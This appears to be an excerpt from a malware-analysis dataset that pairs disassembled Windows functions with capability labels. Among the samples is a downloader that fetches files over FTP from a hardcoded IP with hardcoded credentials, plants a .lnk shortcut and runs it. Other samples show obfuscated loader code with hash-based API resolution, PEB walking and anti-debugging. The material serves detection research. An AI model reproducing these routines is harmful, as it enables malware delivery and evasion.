joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14018eab0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
cmp byte [0x1401da661], 0
mov rbp, rcx
mov rdi, rdx
mov r12, r8
je 0x14018eb58
lea rdx, [0x1401bb512]
mov rcx, r12
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x14018ebc0
mov rbx, qword [0x1401da500]
jmp 0x14018eaf5
lea rbx, [rdx + rax + 4]
mov rdx, rbx
mov rcx, r12
call sub.msvcrt.dll_strcmp
mov rcx, rbx
mov esi, eax
call sub.msvcrt.dll_strlen
lea rdx, [rbx + rax + 1]
mov eax, dword [rdx]
test esi, esi
jne 0x14018eaf0
movzx eax, word [rdx + 4]
lea r8, [rdx + 6]
test ax, ax
je 0x14018eb47
lea rbx, [rdi + rax*8]
nop word cs:[rax + rax]
mov rdx, rdi
mov rcx, rbp
add rdi, 8
call fcn.14017de90
mov r8, rax
cmp rdi, rbx
jne 0x14018eb30
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov r8d, 0xa
xor ecx, ecx
mov edx, 3
call qword [sym.imp.KERNEL32.dll_FindResourceA]
xor ecx, ecx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
xor ecx, ecx
lea rdx, [rax + 4]
mov qword [0x1401da500], rax
mov ebx, dword [rax]
mov qword [0x1401da500], rdx
mov r8d, dword [rax + 4]
lea rdx, [rax + 8]
mov qword [0x1401da500], rdx
call fcn.14018dbe0
cmp eax, ebx
jne 0x14018ec28
mov byte [0x1401da661], 1
jmp 0x14018ead0
cmp byte [0x1401da660], 0
jne 0x14018eae7
mov rbx, qword [sym.imp.python311.dll_PyDict_New]
call rbx
mov qword [0x1401db208], rax
call rbx
mov qword [0x1401db200], rax
call rbx
mov qword [0x1401db1f8], rax
call rbx
mov qword [0x1401db1f0], rax
call rbx
mov qword [0x1401db1e8], rax
call rbx
mov qword [0x1401db1e0], rax
call rbx
mov qword [0x1401db1d8], rax
call rbx
mov byte [0x1401da660], 1
mov qword [0x1401db1d0], rax
jmp 0x14018eae7
lea rcx, str.Error__corrupted_constants_object
call sub.msvcrt.dll_puts
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x140197420
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.1401a8ba0
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.1401a8ba0
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
Function at 0x1401980f2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x1401db6c8]
test eax, eax
je 0x14019818a
lea rax, [0x1401db6a0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x1401db6d0]
mov qword [rbp - 8], rax
jmp 0x14019816e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140198162
cmp qword [rbp - 0x10], 0
je 0x140198162
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140198128
lea rax, [0x1401db6a0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14019818b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140198290
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1401982b8
mov eax, 0
jmp 0x140198306
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1401982e1
mov eax, 0
jmp 0x140198306
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140198301
mov eax, 0
jmp 0x140198306
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x14019830c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14019838a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140198381
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140198381
mov rax, qword [rbp - 8]
jmp 0x14019839f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140198354
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x2fbac16f0
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x58
mov r9d, 1
xor r8d, r8d
mov dword [rsp + 0x4c], 0
mov rsi, rcx
mov ebx, edx
lea rcx, [0x2fbb17080]
mov qword [rsp + 0x38], 0
mov edx, 2
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov r12, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x2fbac179c
xor edx, edx
mov rcx, r12
lea rdi, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
je 0x2fbac179c
test ebx, ebx
jle 0x2fbac1786
mov r9, rdi
mov r8d, ebx
mov rdx, rsi
mov rcx, r12
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x2fbac1791
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x2fbac179c
mov edx, dword [rsp + 0x4c]
add rsi, rdx
sub ebx, edx
jmp 0x2fbac1763
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop r12
ret

Function at 0x2fbac17c4
Capabilities:
Read file on windows

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r9d, r9d
mov r8d, 3
mov dword [rsp + 0x4c], 0
mov rsi, rcx
mov ebx, edx
lea rcx, [0x2fbb17080]
mov qword [rsp + 0x30], 0
mov edx, 0x80000000
lea rdi, [rsp + 0x4c]
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r12, rax
xor eax, eax
cmp r12, 0xffffffffffffffff
je 0x2fbac185c
test ebx, ebx
jle 0x2fbac1841
mov r9, rdi
mov r8d, ebx
mov rdx, rsi
mov rcx, r12
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x2fbac1851
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x2fbac185c
mov edx, dword [rsp + 0x4c]
add rsi, rdx
sub ebx, edx
jmp 0x2fbac181e
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop r12
ret

Function at 0x2fbac18c0
Capabilities:
Create thread

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x2fbb14640]
movsxd rcx, dword [rbx + 4]
call sub.msvcrt.dll_malloc
mov rsi, qword [sym.imp.KERNEL32.dll_Sleep]
mov r12, rax
mov ecx, 0x400
call rsi
mov edx, dword [rbx + 4]
mov rcx, r12
call fcn.2fbac17c4
test eax, eax
je 0x2fbac1888
mov edx, dword [rbx + 4]
lea r8, [rbx + 8]
mov rcx, r12
call fcn.2fbac1613
mov rcx, r12
call sub.msvcrt.dll_free
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
sub rsp, 0x68
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x26aa
xor edx, edx
mov r9d, 0x5c
div ecx
mov dword [rsp + 0x50], 0x5c
mov dword [rsp + 0x48], 0x65
mov dword [rsp + 0x40], 0x70
mov dword [rsp + 0x38], 0x69
mov dword [rsp + 0x30], 0x70
mov dword [rsp + 0x28], 0x5c
mov dword [rsp + 0x20], 0x2e
mov r8d, 0x5c
lea rcx, [0x2fbb17080]
mov dword [rsp + 0x58], edx
lea rdx, str._c_c_c_c_c_c_c_c_cnetsvc_d
call fcn.2fbac16c0
xor ecx, ecx
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x28], 0
lea r8, [0x2fbac17a6]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
add rsp, 0x68
jmp 0x2fbac1866
Function at 0x141310058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1413101df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141310089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14131006f
add dl, dl
jne 0x141310096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1413100f6
xor eax, eax
add dl, dl
jne 0x1413100a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1413101ad
add dl, dl
jne 0x1413100b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1413100c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1413100d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1413100dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1413100ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14131007e
mov eax, 1
add dl, dl
jne 0x141310106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141310113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1413100fb
sub eax, ebx
mov ebx, 1
jne 0x14131014c
mov ecx, 1
add dl, dl
jne 0x14131012e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14131013b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141310123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14131007e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141310168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141310175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14131015d
cmp eax, 0x7d00
jae 0x14131019b
cmp eax, 0x500
jb 0x141310196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14131007e
cmp eax, 0x7f
ja 0x14131019e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14131007e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1413101d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14131007e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14013104c
Capabilities:
Hash data using fnv

Disassembly:
inc rcx
test al, al
je 0x1401310f4
jne 0x140131085
je 0x140131085
div r13
cpuid
ret
jmp 0x1401310fc
movzx eax, byte [rcx - 1]
test al, al
jne 0x1401310ff
jmp 0x1401310e8
cmp edx, 0xeb8fbdbf
je 0x140131182
inc r8d
jmp 0x140131175
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
jmp 0x1401310d7
mov rax, qword gs:[0x60]
mov r8d, r13d
mov ecx, dword [rbx + r11 + 0x24]
add rcx, r11
movzx edx, word [rcx + r9*2]
je 0x1401311c0
jne 0x1401311c0
add esi, 0x4fef4759
push r9
popfq
rol r14d, 0x22
call rcx
ret
jmp 0x140131218
add rdi, r11
xchg rbx, rax
mov rbx, qword [rcx + 0x10]
xchg rbx, rax
jmp 0x140131297
mov ecx, dword [rbx + r11 + 0x1c]
add rcx, r11
mov edi, dword [rcx + rdx*4]
xchg rcx, r10
mov r10, qword [rax + 0x18]
xchg rcx, r10
je 0x140131233
jne 0x140131233
movabs rsi, 0x649ef7647983baeb
call 0x140131709
call rcx
jae 0x140132217
jmp 0x1401311ef
ret
xchg r9, r8
mov r8, qword [rcx + 0x30]
xchg r8, r9
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
mov r11d, dword [rbx + r9 + 0x20]
nop dword [rax + rax]
jmp 0x1401312a5
xchg rcx, r10
mov r10, qword [rax]
xchg r10, rcx
jmp 0x140131249
test bh, 0x45
invalid
Function at 0x1401332ff
Capabilities:
Execute syscall

Disassembly:
mov byte [0x1821332f8], cl
rol edi, 0x94
je 0x14013333c
jne 0x14013333c
jle 0x140133d8b
test rsi, rbx
lea ebp, [rdi - 0x8302]
test rdx, rdi
ror r9d, 0x37
pop r9
lea r14d, [rcx + 0xbe4]
lea r8d, [rdi + 0x81a7]
ror edi, 0xb2
cmp r9, rdi
pop r8
movabs r10, 0x3348b3000006ade9
jle 0x1401338fb
jmp 0x1401339ee
cmp r9d, 0x1c071f06
add r13d, 0xc3905c7a
test r10d, 0xa6f2715d
jmp rcx
add byte [rax], al
jmp 0x1401348b1
jmp rcx
test al, al
je 0x140133d6d
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
jne 0x140133d3f
je 0x140133d3f
cpuid
or r8d, 0x25496da2
ror r9d, 0x25
jmp rax
jmp 0x140133d55
movzx eax, byte [rcx - 1]
test al, al
jne 0x140133cfe
cmp edx, 0xa029da11
je 0x140133e6c
inc r8d
jmp 0x140133d81
mov ecx, r8d
lea rdx, [r9 + rcx*4]
mov ecx, dword [rdx + r11]
mov edx, 0x4f22e70e
sbb bh, byte [rdx + 0x4f22e70e]
jmp 0x140133d96
add rcx, r9
movzx eax, byte [rcx]
inc rcx
jmp 0x140133cf3
mov ecx, dword [r10 + r9 + 0x24]
xchg r10, r13
mov rax, r10
xchg r10, r13
add rcx, r9
mov edx, r8d
jmp 0x140133eb7
sbb cl, ch
mov ebx, 0x48ffffff
mov eax, dword [rsp + 0x10]
inc rax
mov qword [rsp + 0x10], rax

Function at 0x140133432
Capabilities:
Access peb ldr_data
Execute anti-debugging instructions
Resolve function by parsing pe exports

Disassembly:
movabs r10, 0x1060b3fffffd8ee9
lea r9d, [rcx - 0x8782]
neg r15
lea ecx, [rbp - 0x379b]
bswap rdi
pushf
mov r11d, 0x2a660450
and r11d, 0xe16bbf31
loope 0x1401334a7
neg ecx
Function at 0x140001020
Capabilities:
Persist via lnk shortcut
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x40
xor esi, esi
mov ebp, 1
lea rcx, str.C:UsersPublicDocumentsjdi.lnk
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov edx, 0x40000000
mov r8d, ebp
mov dword [rsp + 0x28], esi
xor bl, bl
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea r9, [rsp + 0x58]
cmp rax, 0xffffffffffffffff
lea rdx, [0x140028570]
mov r8d, 0x53d
mov rcx, rax
mov rdi, rax
mov qword [rsp + 0x20], rsi
cmove ebx, esi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
test eax, eax
cmovne ebx, ebp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov al, bl
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x1400010c0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
xor r9d, r9d
mov edi, r8d
mov rsi, rdx
mov qword [rsp + 0x30], 0
lea r8d, [r9 + 3]
mov edx, 0xc0000000
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14000111b
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
lea r9, [rsp + 0x68]
mov r8d, edi
mov rdx, rsi
mov rcx, rax
mov dword [rsp + 0x68], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
mov eax, 1
add rsp, 0x40
pop rdi
ret
Function at 0x140001160
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x50
mov rbx, r9
xor edi, edi
lea rcx, str.WinInet_Ftp
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x38], rdi
lea r9, str.luohua
mov dword [rsp + 0x30], 0x8000000
lea rdx, str.43.240.238.250
mov rcx, rax
xor r8d, r8d
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r9
call qword [sym.imp.WININET.dll_InternetConnectA]
mov r9d, 0x80000002
mov r8d, 0x80000000
mov rdx, rbx
mov rcx, rax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WININET.dll_FtpOpenFileA]
xor edx, edx
mov rcx, rax
mov r12, rax
call qword [sym.imp.WININET.dll_FtpGetFileSize]
mov ecx, eax
mov ebp, eax
call fcn.14000159c
mov r8, rbp
xor edx, edx
mov rcx, rax
mov rsi, rax
call fcn.140007420
mov ecx, 0x1000
call fcn.14000159c
xor edx, edx
mov r8d, 0x1000
mov rcx, rax
mov rbx, rax
call fcn.140007420
lea r9, [rsp + 0x40]
mov r8d, 0x1000
mov rdx, rbx
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001266
mov r8d, dword [rsp + 0x40]
mov ecx, edi
mov rdx, rbx
add rcx, rsi
call fcn.14000d210
add edi, dword [rsp + 0x40]
cmp ebp, edi
ja 0x140001231
mov rcx, qword [rsp + 0x80]
mov r8d, ebp
mov rdx, rsi
call fcn.1400010c0
mov rcx, rsi
call fcn.140001618
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
mov eax, 1
add rsp, 0x50
pop r12
ret

Function at 0x140001320
Capabilities:
Enumerate gui resources

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rdx, [rsp + 0x30]
lea rcx, [0x1400012b0]
mov dword [rsp + 0x30], eax
call qword [sym.imp.USER32.dll_EnumWindows]
test eax, eax
jne 0x14000134d
mov eax, dword [rsp + 0x30]
add rsp, 0x28
ret
xor eax, eax
add rsp, 0x28
ret
Function at 0x140001360
Capabilities:
Create process on windows

Disassembly:
push rsi
sub rsp, 0x260
mov rax, qword [0x140027078]
xor rax, rsp
mov qword [rsp + 0x250], rax
lea rcx, str.C:UsersPublicDocuments_svchost.txt
xor edx, edx
call fcn.140001710
xor esi, esi
cmp eax, 0xffffffff
jne 0x1400014f9
xor ecx, ecx
mov qword [rsp + 0x270], rbx
mov qword [rsp + 0x278], rdi
call fcn.140001620
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x30], sil
call fcn.140007420
lea rdx, [rsp + 0x30]
mov r8d, 0x103
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [rsi + 0x5c]
lea rcx, [rsp + 0x30]
call fcn.1400015f0
or rcx, 0xffffffffffffffff
mov r8d, 0x103
mov r11, rax
xor eax, eax
lea rdi, [r11 + 1]
repne scasb al, byte [rdi]
not rcx
dec rcx
movsxd rdx, ecx
lea rcx, [rsp + 0x141]
movsx edi, byte [rdx + r11 - 4]
xor edx, edx
mov byte [rsp + 0x140], al
call fcn.140007420
lea rdx, str.___c
lea rcx, [rsp + 0x140]
mov r8d, edi
call fcn.140001724
lea rbx, str.C:UsersPublicDocuments1.rar
lea rdi, str.C:UsersPublicDocuments7z.exe
xor edx, edx
mov rcx, rbx
call fcn.140001710
cmp eax, 0xffffffff
je 0x140001487
xor edx, edx
mov rcx, rdi
call fcn.140001710
cmp eax, 0xffffffff
jne 0x1400014b0
lea r9, [0x1400232d4]
lea r8, str.luohua
lea rdx, str.luohua
lea rcx, str.43.240.238.250
mov qword [rsp + 0x20], rdi
call fcn.140001160
jmp 0x140001441
lea r9, [rsp + 0x140]
lea r8, str.luohua
lea rdx, str.luohua
lea rcx, str.43.240.238.250
mov qword [rsp + 0x20], rbx
call fcn.140001160
jmp 0x140001441
lea rcx, str.C:UsersPublicDocumentsjdi.lnk
call fcn.140001020
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, str.C:UsersPublicDocumentsjdi.lnk
lea rdx, str.OPEN
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rdi, qword [rsp + 0x278]
mov rbx, qword [rsp + 0x270]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, str.C:UsersPublicDocuments1.lnk
lea rdx, str.OPEN
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call fcn.140001d64
int3

Function at 0x140001680
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbx
sub rsp, 0x30
mov ebx, edx
test rcx, rcx
jne 0x1400016ba
call fcn.140002470
and dword [rax], 0
call fcn.140002450
and qword [rsp + 0x20], 0
mov ebx, 0x16
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], ebx
call fcn.140002770
mov eax, ebx
jmp 0x14000170a
test edx, 0xfffffff9
jne 0x14000168d
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1400016e3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140002490
call fcn.140002450
mov eax, dword [rax]
jmp 0x14000170a
test al, 0x10
jne 0x140001708
test al, 1
je 0x140001708
test bl, 2
je 0x140001708
call fcn.140002470
mov dword [rax], 5
call fcn.140002450
mov dword [rax], 0xd
jmp 0x1400016da
xor eax, eax
add rsp, 0x30
pop rbx
ret
Function at 0x140001d64
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.14000449c
nop
cmp dword [0x140028b10], 1
je 0x140001d10
mov dword [0x140028b0c], 1
mov byte [0x140028b08], r12b
test ebx, ebx
jne 0x140001cfc
mov rcx, qword [0x14002ac40]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140001ce9
mov rcx, qword [0x14002ac38]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x140001c88
call fcn.140003bd4
cmp qword [rdi], rax
jne 0x140001c88
jmp 0x140001c6e
cmp rdi, rsi
jb 0x140001ce9
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.140003bd4
mov qword [rdi], rax
call rbx
mov rcx, qword [0x14002ac40]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x14002ac38]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x140001cc7
cmp r13, rax
je 0x140001ce7
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x140001c6e
lea rdx, [0x1400203a0]
lea rcx, [0x140020388]
call fcn.140001a28
lea rdx, [0x1400203b0]
lea rcx, [0x1400203a8]
call fcn.140001a28
nop
test r12d, r12d
je 0x140001d1f
mov ecx, 8
call fcn.14000437c
test r12d, r12d
jne 0x140001d4a
mov dword [0x140028b10], 1
lea ecx, [r12 + 8]
call fcn.14000437c
mov ecx, r15d
call fcn.1400019bc
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x140001bd8

Function at 0x140001d70
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x140001bd8
Function at 0x14000235b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140027078]
jne 0x1400015ea
rol rcx, 0x10
test cx, 0xffff
jne 0x1400015e6
repz ret
ror rcx, 0x10
jmp 0x1400022b4
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140028bf0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x140028ce8]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140002339
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140028bf0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14000235b
mov rax, qword [rsp + 0x88]
mov qword [0x140028ce8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140028c88], rax
mov rax, qword [0x140028ce8]
mov qword [0x140028b60], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140028c70], rax
mov dword [0x140028b50], 0xc0000409
mov dword [0x140028b54], 1
mov rax, qword [0x140027078]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140027080]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140028be8], eax
mov ecx, 1
call fcn.1400073fc
